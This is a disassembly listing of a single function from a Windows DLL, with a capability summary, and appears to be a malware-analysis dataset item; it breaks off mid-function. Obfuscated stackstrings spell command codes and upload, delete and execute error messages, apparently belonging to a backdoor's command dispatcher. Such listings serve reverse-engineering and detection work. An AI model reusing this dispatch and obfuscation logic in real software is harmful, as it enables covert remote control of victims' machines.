Function at 0x18000ae70
Capabilities:
Contain obfuscated stackstrings
Create directory
Delete directory
Delete file
Move file

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1278
call fcn.1800437e0
sub rsp, rax
mov byte [rsp + 0x48], 0x53
mov byte [rsp + 0x49], 0x54
lea rax, [rsp + 0x4a]
mov r8, rax
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x9b8]
call fcn.1800071c0
lea rcx, [rsp + 0x660]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x185]
call fcn.180003dc0
mov r8, rax
lea rdx, [rsp + 0x660]
lea rcx, [rsp + 0x1140]
call fcn.180007210
mov qword [rsp + 0x7c0], rax
mov byte [rsp + 0x4c], 0x47
mov byte [rsp + 0x4d], 0x44
lea rax, [rsp + 0x4e]
mov r8, rax
lea rdx, [rsp + 0x4c]
lea rcx, [rsp + 0x9c8]
call fcn.1800071c0
lea rcx, [rsp + 0x670]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x170]
call fcn.180003dc0
mov r8, rax
lea rdx, [rsp + 0x670]
lea rcx, [rsp + 0x1158]
call fcn.180007210
mov qword [rsp + 0x7c8], rax
mov byte [rsp + 0x50], 0x47
mov byte [rsp + 0x51], 0x50
lea rax, [rsp + 0x52]
mov r8, rax
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x9d8]
call fcn.1800071c0
lea rcx, [rsp + 0x680]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x171]
call fcn.180003dc0
mov r8, rax
lea rdx, [rsp + 0x680]
lea rcx, [rsp + 0x1170]
call fcn.180007210
mov qword [rsp + 0x7d0], rax
mov byte [rsp + 0x74], 0x55
mov byte [rsp + 0x75], 0x50
mov byte [rsp + 0x76], 0x46
lea rax, [rsp + 0x77]
mov r8, rax
lea rdx, [rsp + 0x74]
lea rcx, [rsp + 0x9e8]
call fcn.1800071c0
lea rcx, [rsp + 0x690]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x172]
call fcn.180003dc0
mov r8, rax
lea rdx, [rsp + 0x690]
lea rcx, [rsp + 0x1188]
call fcn.180007210
mov qword [rsp + 0x7d8], rax
mov byte [rsp + 0x58], 0x52
mov byte [rsp + 0x59], 0x55
mov byte [rsp + 0x5a], 0x46
lea rax, [rsp + 0x5b]
mov r8, rax
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x9f8]
call fcn.1800071c0
lea rcx, [rsp + 0x6a0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x173]
call fcn.180003dc0
mov r8, rax
lea rdx, [rsp + 0x6a0]
lea rcx, [rsp + 0x11a0]
call fcn.180007210
mov qword [rsp + 0x7e0], rax
mov byte [rsp + 0x70], 0x53
mov byte [rsp + 0x71], 0x44
mov byte [rsp + 0x72], 0x46
lea rax, [rsp + 0x73]
mov r8, rax
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0xa08]
call fcn.1800071c0
lea rcx, [rsp + 0x6b0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x174]
call fcn.180003dc0
mov r8, rax
lea rdx, [rsp + 0x6b0]
lea rcx, [rsp + 0x11b8]
call fcn.180007210
mov qword [rsp + 0x898], rax
mov byte [rsp + 0x5c], 0x44
mov byte [rsp + 0x5d], 0x45
mov byte [rsp + 0x5e], 0x4c
lea rax, [rsp + 0x5f]
mov r8, rax
lea rdx, [rsp + 0x5c]
lea rcx, [rsp + 0xa18]
call fcn.1800071c0
lea rcx, [rsp + 0x6c0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x176]
call fcn.180003dc0
mov r8, rax
lea rdx, [rsp + 0x6c0]
lea rcx, [rsp + 0x11d0]
call fcn.180007210
mov qword [rsp + 0x8b8], rax
mov byte [rsp + 0x54], 0x45
mov byte [rsp + 0x55], 0x58
lea rax, [rsp + 0x56]
mov r8, rax
lea rdx, [rsp + 0x54]
lea rcx, [rsp + 0xa28]
call fcn.1800071c0
lea rcx, [rsp + 0x6d0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x177]
call fcn.180003dc0
mov r8, rax
lea rdx, [rsp + 0x6d0]
lea rcx, [rsp + 0x11e8]
call fcn.180007210
mov qword [rsp + 0x8c0], rax
mov byte [rsp + 0x60], 0x43
mov byte [rsp + 0x61], 0x44
mov byte [rsp + 0x62], 0x49
lea rax, [rsp + 0x63]
mov r8, rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0xa38]
call fcn.1800071c0
lea rcx, [rsp + 0x6e0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x181]
call fcn.180003dc0
mov r8, rax
lea rdx, [rsp + 0x6e0]
lea rcx, [rsp + 0x1200]
call fcn.180007210
mov qword [rsp + 0x8c8], rax
mov byte [rsp + 0x64], 0x44
mov byte [rsp + 0x65], 0x44
mov byte [rsp + 0x66], 0x49
lea rax, [rsp + 0x67]
mov r8, rax
lea rdx, [rsp + 0x64]
lea rcx, [rsp + 0xa48]
call fcn.1800071c0
lea rcx, [rsp + 0x6f0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x178]
call fcn.180003dc0
mov r8, rax
lea rdx, [rsp + 0x6f0]
lea rcx, [rsp + 0x1218]
call fcn.180007210
mov qword [rsp + 0x8d0], rax
mov byte [rsp + 0x68], 0x52
mov byte [rsp + 0x69], 0x46
mov byte [rsp + 0x6a], 0x49
lea rax, [rsp + 0x6b]
mov r8, rax
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x8f8]
call fcn.1800071c0
lea rcx, [rsp + 0x700]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x179]
call fcn.180003dc0
mov r8, rax
lea rdx, [rsp + 0x700]
lea rcx, [rsp + 0x1230]
call fcn.180007210
mov qword [rsp + 0x8d8], rax
mov byte [rsp + 0x6c], 0x52
mov byte [rsp + 0x6d], 0x44
mov byte [rsp + 0x6e], 0x49
lea rax, [rsp + 0x6f]
mov r8, rax
lea rdx, [rsp + 0x6c]
lea rcx, [rsp + 0x908]
call fcn.1800071c0
lea rcx, [rsp + 0x710]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x17a]
call fcn.180003dc0
mov r8, rax
lea rdx, [rsp + 0x710]
lea rcx, [rsp + 0x1248]
call fcn.180007210
nop
lea rax, [rsp + 0x1260]
mov r8, rax
lea rdx, [rsp + 0x1140]
lea rcx, [rsp + 0x918]
call fcn.1800071c0
lea rcx, [rsp + 0x720]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x17b]
call fcn.180003dc0
mov r8, rax
lea rdx, [rsp + 0x720]
lea rcx, [rsp + 0x1a0]
call fcn.180012160
mov qword [rsp + 0x800], rax
lea r9, [fcn.180004b70]
mov r8d, 0xc
mov edx, 0x18
lea rcx, [rsp + 0x1140]
call fcn.1800436fc
nop
mov ecx, 0x20
call fcn.180043314
mov qword [rsp + 0x580], rax
mov rax, qword [rsp + 0x580]
mov qword [rsp + 0x1f0], rax
cmp qword [rsp + 0x1f0], 0
je 0x18000b448
mov rcx, qword [rsp + 0x1f0]
call fcn.1800121e0
mov qword [rsp + 0x588], rax
mov rax, qword [rsp + 0x588]
mov qword [rsp + 0x1f8], rax
jmp 0x18000b454
mov qword [rsp + 0x1f8], 0
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x590], rax
mov rdx, qword [rsp + 0x590]
lea rcx, [rsp + 0x20]
call fcn.18000f910
nop
mov ecx, 1
call fcn.180043314
mov qword [rsp + 0x598], rax
mov rax, qword [rsp + 0x598]
mov qword [rsp + 0x1e0], rax
cmp qword [rsp + 0x1e0], 0
je 0x18000b4b6
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x1e8], rax
jmp 0x18000b4c2
mov qword [rsp + 0x1e8], 0
mov rdx, qword [rsp + 0x1e8]
lea rcx, [rsp + 0x40]
call fcn.18000f910
nop
mov rcx, qword [rsp + 0x1298]
call fcn.180006390
add rax, 8
mov rcx, rax
call fcn.180003f50
add rax, 8
mov rdx, rax
lea rcx, [rsp + 0x1c0]
call fcn.1800117f0
mov qword [rsp + 0x5f8], rax
xor edx, edx
lea rcx, [rsp + 0x1a0]
call fcn.180013830
mov qword [rsp + 0x5a0], rax
lea rcx, [rsp + 0x20]
call fcn.180003f50
mov rcx, qword [rsp + 0x5a0]
mov r8, rcx
lea rdx, [rsp + 0xa58]
mov rcx, rax
call fcn.18003ef30
mov qword [rsp + 0x5a8], rax
mov rdx, qword [rsp + 0x5a8]
lea rcx, [rsp + 0x1c0]
call fcn.18000fd80
mov byte [rsp + 0x28], al
lea rcx, [rsp + 0xa58]
call fcn.180004b40
movzx eax, byte [rsp + 0x28]
test eax, eax
je 0x18000b590
mov rcx, qword [rsp + 0x1290]
call fcn.18000d550
nop
jmp 0x18000d4ee
mov edx, 1
lea rcx, [rsp + 0x1a0]
call fcn.180013830
mov qword [rsp + 0x5b0], rax
lea rcx, [rsp + 0x20]
call fcn.180003f50
mov rcx, qword [rsp + 0x5b0]
mov r8, rcx
lea rdx, [rsp + 0xa78]
mov rcx, rax
call fcn.18003ef30
mov qword [rsp + 0x5b8], rax
mov rdx, qword [rsp + 0x5b8]
lea rcx, [rsp + 0x1c0]
call fcn.18000fd80
mov byte [rsp + 0x29], al
lea rcx, [rsp + 0xa78]
call fcn.180004b40
movzx eax, byte [rsp + 0x29]
test eax, eax
je 0x18000b619
mov rcx, qword [rsp + 0x1290]
call fcn.18000d550
nop
jmp 0x18000d4ee
mov edx, 2
lea rcx, [rsp + 0x1a0]
call fcn.180013830
mov qword [rsp + 0x5c0], rax
lea rcx, [rsp + 0x20]
call fcn.180003f50
mov rcx, qword [rsp + 0x5c0]
mov r8, rcx
lea rdx, [rsp + 0xa98]
mov rcx, rax
call fcn.18003ef30
mov qword [rsp + 0x5c8], rax
mov rdx, qword [rsp + 0x5c8]
lea rcx, [rsp + 0x1c0]
call fcn.18000fd80
mov byte [rsp + 0x2a], al
lea rcx, [rsp + 0xa98]
call fcn.180004b40
movzx eax, byte [rsp + 0x2a]
test eax, eax
je 0x18000b6c4
mov rcx, qword [rsp + 0x1298]
call fcn.180006390
add rax, 8
mov rcx, rax
call fcn.180003f50
add rax, 0xe8
mov rdx, rax
mov rcx, qword [rsp + 0x1290]
call fcn.18000db70
nop
jmp 0x18000d4ee
mov edx, 3
lea rcx, [rsp + 0x1a0]
call fcn.180013830
mov qword [rsp + 0x5d0], rax
lea rcx, [rsp + 0x20]
call fcn.180003f50
mov rcx, qword [rsp + 0x5d0]
mov r8, rcx
lea rdx, [rsp + 0xab8]
mov rcx, rax
call fcn.18003ef30
mov qword [rsp + 0x200], rax
mov rdx, qword [rsp + 0x200]
lea rcx, [rsp + 0x1c0]
call fcn.18000fd80
mov byte [rsp + 0x2b], al
lea rcx, [rsp + 0xab8]
call fcn.180004b40
movzx eax, byte [rsp + 0x2b]
test eax, eax
je 0x18000bf3c
mov rcx, qword [rsp + 0x1298]
call fcn.180006390
add rax, 8
mov rcx, rax
call fcn.180003f50
add rax, 0x28
mov rdx, rax
lea rcx, [rsp + 0x5d8]
call fcn.1800117f0
mov qword [rsp + 0x600], rax
lea rcx, [rsp + 0x40]
call fcn.180003f50
lea rdx, [rsp + 0x5d8]
mov rcx, rax
call fcn.180024130
mov byte [rsp + 0x2c], al
movzx eax, byte [rsp + 0x2c]
test eax, eax
je 0x18000ba85
lea rcx, [rsp + 0x40]
call fcn.180003f50
lea r8, [rsp + 0x5d8]
lea rdx, [rsp + 0xad8]
mov rcx, rax
call fcn.180024570
mov qword [rsp + 0x208], rax
mov rcx, qword [rsp + 0x208]
call fcn.180007c40
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x18000b7ef
mov dword [rsp + 0x18c], 1
jmp 0x18000b7fa
mov dword [rsp + 0x18c], 0
movzx eax, byte [rsp + 0x18c]
mov byte [rsp + 0x2d], al
lea rcx, [rsp + 0xad8]
call fcn.1800073e0
movzx eax, byte [rsp + 0x2d]
test eax, eax
je 0x18000ba5c
mov byte [rsp + 0x110], 0x45
mov byte [rsp + 0x111], 0x72
mov byte [rsp + 0x112], 0x72
mov byte [rsp + 0x113], 0x6f
mov byte [rsp + 0x114], 0x72
mov byte [rsp + 0x115], 0x20
mov byte [rsp + 0x116], 0x55
mov byte [rsp + 0x117], 0x70
mov byte [rsp + 0x118], 0x6c
mov byte [rsp + 0x119], 0x6f
mov byte [rsp + 0x11a], 0x61
mov byte [rsp + 0x11b], 0x64
mov byte [rsp + 0x11c], 0x6f
mov byte [rsp + 0x11d], 0x6e
mov byte [rsp + 0x11e], 0x67
mov byte [rsp + 0x11f], 0x20
mov byte [rsp + 0x120], 0x66
mov byte [rsp + 0x121], 0x69
mov byte [rsp + 0x122], 0x6c
mov byte [rsp + 0x123], 0x65
mov byte [rsp + 0x124], 0x20
mov byte [rsp + 0x125], 0x2c
mov byte [rsp + 0x126], 0x20
mov byte [rsp + 0x127], 0x43
mov byte [rsp + 0x128], 0x6f
mov byte [rsp + 0x129], 0x64
mov byte [rsp + 0x12a], 0x65
mov byte [rsp + 0x12b], 0x20
mov byte [rsp + 0x12c], 0x3a
mov byte [rsp + 0x12d], 0x20
lea rax, [rsp + 0x12e]
mov r8, rax
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x928]
call fcn.1800071c0
lea rcx, [rsp + 0x730]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x17c]
call fcn.180003dc0
mov r8, rax
lea rdx, [rsp + 0x730]
lea rcx, [rsp + 0x808]
call fcn.180007210
mov qword [rsp + 0x608], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0xb38]
call fcn.180005aa0
mov qword [rsp + 0x210], rax
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x220], rax
lea rcx, [rsp + 0x20]
call fcn.180003f50
lea r8, [rsp + 0x808]
lea rdx, [rsp + 0xb18]
mov rcx, rax
call fcn.18003ef30
mov qword [rsp + 0x218], rax
mov rax, qword [rsp + 0x218]
mov qword [rsp + 0x228], rax
mov r8, qword [rsp + 0x220]
mov rdx, qword [rsp + 0x228]
lea rcx, [rsp + 0xaf8]
call fcn.18000fde0
mov qword [rsp + 0x230], rax
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0x238], rax
mov rdx, qword [rsp + 0x238]
mov rcx, qword [rsp + 0x1290]
call fcn.18000f460
nop
lea rcx, [rsp + 0xaf8]
call fcn.180004b40
nop
lea rcx, [rsp + 0xb18]
call fcn.180004b40
nop
lea rcx, [rsp + 0xb38]
call fcn.180004b40
nop
lea rcx, [rsp + 0x808]
call fcn.180004b70
nop
mov dword [rsp + 0x1b8], 0x1f4
lea rdx, [rsp + 0x1b8]
lea rcx, [rsp + 0x610]
call fcn.180006150
mov rcx, rax
call fcn.180006fb0
nop
mov rcx, qword [rsp + 0x1298]
call fcn.180006390
add rax, 8
mov rcx, rax
call fcn.180003f50
add rax, 0x128
mov qword [rsp + 0x240], rax
lea rcx, [rsp + 0x40]
call fcn.180003f50
mov r8, qword [rsp + 0x240]
lea rdx, [rsp + 0x5d8]
mov rcx, rax
call fcn.180023ff0
mov byte [rsp + 0x2e], al
movzx eax, byte [rsp + 0x2e]
test eax, eax
jne 0x18000bd20
mov byte [rsp + 0x130], 0x45
mov byte [rsp + 0x131], 0x72
mov byte [rsp + 0x132], 0x72
mov byte [rsp + 0x133], 0x6f
mov byte [rsp + 0x134], 0x72
mov byte [rsp + 0x135], 0x20
mov byte [rsp + 0x136], 0x55
mov byte [rsp + 0x137], 0x70
mov byte [rsp + 0x138], 0x6c
mov byte [rsp + 0x139], 0x6f
mov byte [rsp + 0x13a], 0x61
mov byte [rsp + 0x13b], 0x64
mov byte [rsp + 0x13c], 0x6f
mov byte [rsp + 0x13d], 0x6e
mov byte [rsp + 0x13e], 0x67
mov byte [rsp + 0x13f], 0x20
mov byte [rsp + 0x140], 0x66
mov byte [rsp + 0x141], 0x69
mov byte [rsp + 0x142], 0x6c
mov byte [rsp + 0x143], 0x65
mov byte [rsp + 0x144], 0x20
mov byte [rsp + 0x145], 0x2c
mov byte [rsp + 0x146], 0x20
mov byte [rsp + 0x147], 0x43
mov byte [rsp + 0x148], 0x6f
mov byte [rsp + 0x149], 0x64
mov byte [rsp + 0x14a], 0x65
mov byte [rsp + 0x14b], 0x20
mov byte [rsp + 0x14c], 0x3a
mov byte [rsp + 0x14d], 0x20
lea rax, [rsp + 0x14e]
mov r8, rax
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x938]
call fcn.1800071c0
lea rcx, [rsp + 0x740]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x17d]
call fcn.180003dc0
mov r8, rax
lea rdx, [rsp + 0x740]
lea rcx, [rsp + 0x820]
call fcn.180007210
mov qword [rsp + 0x618], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0xb98]
call fcn.180005aa0
mov qword [rsp + 0x248], rax
mov rax, qword [rsp + 0x248]
mov qword [rsp + 0x258], rax
lea rcx, [rsp + 0x20]
call fcn.180003f50
lea r8, [rsp + 0x820]
lea rdx, [rsp + 0xb78]
mov rcx, rax
call fcn.18003ef30
mov qword [rsp + 0x250], rax
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x260], rax
mov r8, qword [rsp + 0x258]
mov rdx, qword [rsp + 0x260]
lea rcx, [rsp + 0xb58]
call fcn.18000fde0
mov qword [rsp + 0x268], rax
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x270], rax
mov rdx, qword [rsp + 0x270]
mov rcx, qword [rsp + 0x1290]
call fcn.18000f460
nop
lea rcx, [rsp + 0xb58]
call fcn.180004b40
nop
lea rcx, [rsp + 0xb78]
call fcn.180004b40
nop
lea rcx, [rsp + 0xb98]
call fcn.180004b40
nop
lea rcx, [rsp + 0x820]
call fcn.180004b70
nop
jmp 0x18000beee
mov byte [rsp + 0x78], 0x53
mov byte [rsp + 0x79], 0x75
mov byte [rsp + 0x7a], 0x63
mov byte [rsp + 0x7b], 0x63
mov byte [rsp + 0x7c], 0x65
mov byte [rsp + 0x7d], 0x73
mov byte [rsp + 0x7e], 0x73
mov byte [rsp + 0x7f], 0x46
mov byte [rsp + 0x80], 0x75
mov byte [rsp + 0x81], 0x6c
mov byte [rsp + 0x82], 0x20
mov byte [rsp + 0x83], 0x55
mov byte [rsp + 0x84], 0x70
mov byte [rsp + 0x85], 0x6c
mov byte [rsp + 0x86], 0x6f
mov byte [rsp + 0x87], 0x61
mov byte [rsp + 0x88], 0x64
mov byte [rsp + 0x89], 0x20
lea rax, [rsp + 0x8a]
mov r8, rax
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x948]
call fcn.1800071c0
lea rcx, [rsp + 0x750]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x17e]
call fcn.180003dc0
mov r8, rax
lea rdx, [rsp + 0x750]
lea rcx, [rsp + 0x838]
call fcn.180007210
mov qword [rsp + 0x620], rax
lea rcx, [rsp + 0x40]
call fcn.180003f50
lea r8, [rsp + 0x5d8]
lea rdx, [rsp + 0xbf8]
mov rcx, rax
call fcn.180023dc0
mov qword [rsp + 0x278], rax
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x288], rax
lea rcx, [rsp + 0x20]
call fcn.180003f50
lea r8, [rsp + 0x838]
lea rdx, [rsp + 0xbd8]
mov rcx, rax
call fcn.18003ef30
mov qword [rsp + 0x280], rax
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x290], rax
mov r8, qword [rsp + 0x288]
mov rdx, qword [rsp + 0x290]
lea rcx, [rsp + 0xbb8]
call fcn.18000fde0
mov qword [rsp + 0x298], rax
mov rax, qword [rsp + 0x298]
mov qword [rsp + 0x2a0], rax
mov rdx, qword [rsp + 0x2a0]
mov rcx, qword [rsp + 0x1290]
call fcn.18000f460
nop
lea rcx, [rsp + 0xbb8]
call fcn.180004b40
nop
lea rcx, [rsp + 0xbd8]
call fcn.180004b40
nop
lea rcx, [rsp + 0xbf8]
call fcn.180004b40
nop
lea rcx, [rsp + 0x838]
call fcn.180004b70
nop
lea rcx, [rsp + 0x5d8]
call fcn.180004b40
nop
jmp 0x18000befe
jmp 0x18000bf37
jmp 0x18000d4ee
mov edx, 4
lea rcx, [rsp + 0x1a0]
call fcn.180013830
mov qword [rsp + 0x2f8], rax
lea rcx, [rsp + 0x20]
call fcn.180003f50
mov rcx, qword [rsp + 0x2f8]
mov r8, rcx
lea rdx, [rsp + 0xc98]
mov rcx, rax
call fcn.18003ef30
mov qword [rsp + 0x300], rax
mov rdx, qword [rsp + 0x300]
lea rcx, [rsp + 0x1c0]
call fcn.18000fd80
mov byte [rsp + 0x2f], al
lea rcx, [rsp + 0xc98]
call fcn.180004b40
movzx eax, byte [rsp + 0x2f]
test eax, eax
je 0x18000bfef
mov rcx, qword [rsp + 0x1298]
call fcn.180006390
add rax, 8
mov rcx, rax
call fcn.180003f50
add rax, 0x88
mov rdx, rax
mov rcx, qword [rsp + 0x1290]
call fcn.18000ef30
mov byte [rsp + 0x30], al
movzx eax, byte [rsp + 0x30]
jmp 0x18000d4ee
mov edx, 5
lea rcx, [rsp + 0x1a0]
call fcn.180013830
mov qword [rsp + 0x308], rax
lea rcx, [rsp + 0x20]
call fcn.180003f50
mov rcx, qword [rsp + 0x308]
mov r8, rcx
lea rdx, [rsp + 0xcb8]
mov rcx, rax
call fcn.18003ef30
mov qword [rsp + 0x310], rax
mov rdx, qword [rsp + 0x310]
lea rcx, [rsp + 0x1c0]
call fcn.18000fd80
mov byte [rsp + 0x31], al
lea rcx, [rsp + 0xcb8]
call fcn.180004b40
movzx eax, byte [rsp + 0x31]
test eax, eax
je 0x18000c0ca
mov rcx, qword [rsp + 0x1298]
call fcn.180006390
add rax, 8
mov rcx, rax
call fcn.180003f50
add rax, 0x88
mov qword [rsp + 0x318], rax
mov rcx, qword [rsp + 0x1298]
call fcn.180006390
add rax, 8
mov rcx, rax
call fcn.180003f50
add rax, 0x48
mov rcx, qword [rsp + 0x318]
mov r8, rcx
mov rdx, rax
mov rcx, qword [rsp + 0x1290]
call fcn.18000e7e0
nop
jmp 0x18000d4ee
mov edx, 6
lea rcx, [rsp + 0x1a0]
call fcn.180013830
mov qword [rsp + 0x320], rax
lea rcx, [rsp + 0x20]
call fcn.180003f50
mov rcx, qword [rsp + 0x320]
mov r8, rcx
lea rdx, [rsp + 0xcd8]
mov rcx, rax
call fcn.18003ef30
mov qword [rsp + 0x328], rax
mov rdx, qword [rsp + 0x328]
lea rcx, [rsp + 0x1c0]
call fcn.18000fd80
mov byte [rsp + 0x32], al
lea rcx, [rsp + 0xcd8]
call fcn.180004b40
movzx eax, byte [rsp + 0x32]
test eax, eax
je 0x18000c3ef
mov rcx, qword [rsp + 0x1298]
call fcn.180006390
add rax, 8
mov rcx, rax
call fcn.180003f50
add rax, 0x48
mov qword [rsp + 0x330], rax
lea rcx, [rsp + 0x40]
call fcn.180003f50
mov rcx, qword [rsp + 0x330]
mov r8, rcx
lea rdx, [rsp + 0xcf8]
mov rcx, rax
call fcn.180024570
mov qword [rsp + 0x338], rax
mov rcx, qword [rsp + 0x338]
call fcn.180007c40
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x18000c1bd
mov dword [rsp + 0x198], 1
jmp 0x18000c1c8
mov dword [rsp + 0x198], 0
movzx eax, byte [rsp + 0x198]
mov byte [rsp + 0x33], al
lea rcx, [rsp + 0xcf8]
call fcn.1800073e0
movzx eax, byte [rsp + 0x33]
test eax, eax
je 0x18000c3ea
mov byte [rsp + 0x90], 0x44
mov byte [rsp + 0x91], 0x65
mov byte [rsp + 0x92], 0x6c
mov byte [rsp + 0x93], 0x65
mov byte [rsp + 0x94], 0x74
mov byte [rsp + 0x95], 0x65
mov byte [rsp + 0x96], 0x46
mov byte [rsp + 0x97], 0x69
mov byte [rsp + 0x98], 0x6c
mov byte [rsp + 0x99], 0x65
mov byte [rsp + 0x9a], 0x20
mov byte [rsp + 0x9b], 0x45
mov byte [rsp + 0x9c], 0x72
mov byte [rsp + 0x9d], 0x72
mov byte [rsp + 0x9e], 0x6f
mov byte [rsp + 0x9f], 0x72
mov byte [rsp + 0xa0], 0x20
mov byte [rsp + 0xa1], 0x43
mov byte [rsp + 0xa2], 0x6f
mov byte [rsp + 0xa3], 0x64
mov byte [rsp + 0xa4], 0x65
mov byte [rsp + 0xa5], 0x20
lea rax, [rsp + 0xa6]
mov r8, rax
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x9a8]
call fcn.1800071c0
lea rcx, [rsp + 0x760]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x17f]
call fcn.180003dc0
mov r8, rax
lea rdx, [rsp + 0x760]
lea rcx, [rsp + 0x850]
call fcn.180007210
mov qword [rsp + 0x628], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0xd58]
call fcn.180005aa0
mov qword [rsp + 0x340], rax
mov rax, qword [rsp + 0x340]
mov qword [rsp + 0x350], rax
lea rcx, [rsp + 0x20]
call fcn.180003f50
lea r8, [rsp + 0x850]
lea rdx, [rsp + 0xd38]
mov rcx, rax
call fcn.18003ef30
mov qword [rsp + 0x348], rax
mov rax, qword [rsp + 0x348]
mov qword [rsp + 0x358], rax
mov r8, qword [rsp + 0x350]
mov rdx, qword [rsp + 0x358]
lea rcx, [rsp + 0xd18]
call fcn.18000fde0
mov qword [rsp + 0x360], rax
mov rax, qword [rsp + 0x360]
mov qword [rsp + 0x368], rax
mov rdx, qword [rsp + 0x368]
mov rcx, qword [rsp + 0x1290]
call fcn.18000f460
nop
lea rcx, [rsp + 0xd18]
call fcn.180004b40
nop
lea rcx, [rsp + 0xd38]
call fcn.180004b40
nop
lea rcx, [rsp + 0xd58]
call fcn.180004b40
nop
lea rcx, [rsp + 0x850]
call fcn.180004b70
nop
jmp 0x18000d4ee
mov edx, 7
lea rcx, [rsp + 0x1a0]
call fcn.180013830
mov qword [rsp + 0x370], rax
lea rcx, [rsp + 0x20]
call fcn.180003f50
mov rcx, qword [rsp + 0x370]
mov r8, rcx
lea rdx, [rsp + 0xd78]
mov rcx, rax
call fcn.18003ef30
mov qword [rsp + 0x378], rax
mov rdx, qword [rsp + 0x378]
lea rcx, [rsp + 0x1c0]
call fcn.18000fd80
mov byte [rsp + 0x34], al
lea rcx, [rsp + 0xd78]
call fcn.180004b40
movzx eax, byte [rsp + 0x34]
test eax, eax
je 0x18000c6e5
mov rcx, qword [rsp + 0x1298]
call fcn.180006390
add rax, 8
mov rcx, rax
call fcn.180003f50
add rax, 0x48
mov qword [rsp + 0x380], rax
lea rcx, [rsp + 0x40]
call fcn.180003f50
mov rcx, qword [rsp + 0x380]
mov rdx, rcx
mov rcx, rax
call fcn.180022cd0
mov byte [rsp + 0x35], al
movzx eax, byte [rsp + 0x35]
test eax, eax
jne 0x18000c6e0
mov byte [rsp + 0xf0], 0x45
mov byte [rsp + 0xf1], 0x78
mov byte [rsp + 0xf2], 0x65
mov byte [rsp + 0xf3], 0x63
mov byte [rsp + 0xf4], 0x75
mov byte [rsp + 0xf5], 0x74
mov byte [rsp + 0xf6], 0x65
mov byte [rsp + 0xf7], 0x20
mov byte [rsp + 0xf8], 0x66
mov byte [rsp + 0xf9], 0x69
mov byte [rsp + 0xfa], 0x6c
mov byte [rsp + 0xfb], 0x65
mov byte [rsp + 0xfc], 0x20
mov byte [rsp + 0xfd], 0x65
mov byte [rsp + 0xfe], 0x72
mov byte [rsp + 0xff], 0x72
mov byte [rsp + 0x100], 0x6f
mov byte [rsp + 0x101], 0x72
mov byte [rsp + 0x102], 0x20
mov byte [rsp + 0x103], 0x43
mov byte [rsp + 0x104], 0x6f
mov byte [rsp + 0x105], 0x64
mov byte [rsp + 0x106], 0x65
mov byte [rsp + 0x107], 0x20
mov byte [rsp + 0x108], 0x3a
mov byte [rsp + 0x109], 0x20
mov byte [rsp + 0x10a], 0x20
lea rax, [rsp + 0x10b]
mov r8, rax
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x958]
call fcn.1800071c0
lea rcx, [rsp + 0x770]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x180]
call fcn.180003dc0
mov r8, rax
lea rdx, [rsp + 0x770]
lea rcx, [rsp + 0x7e8]
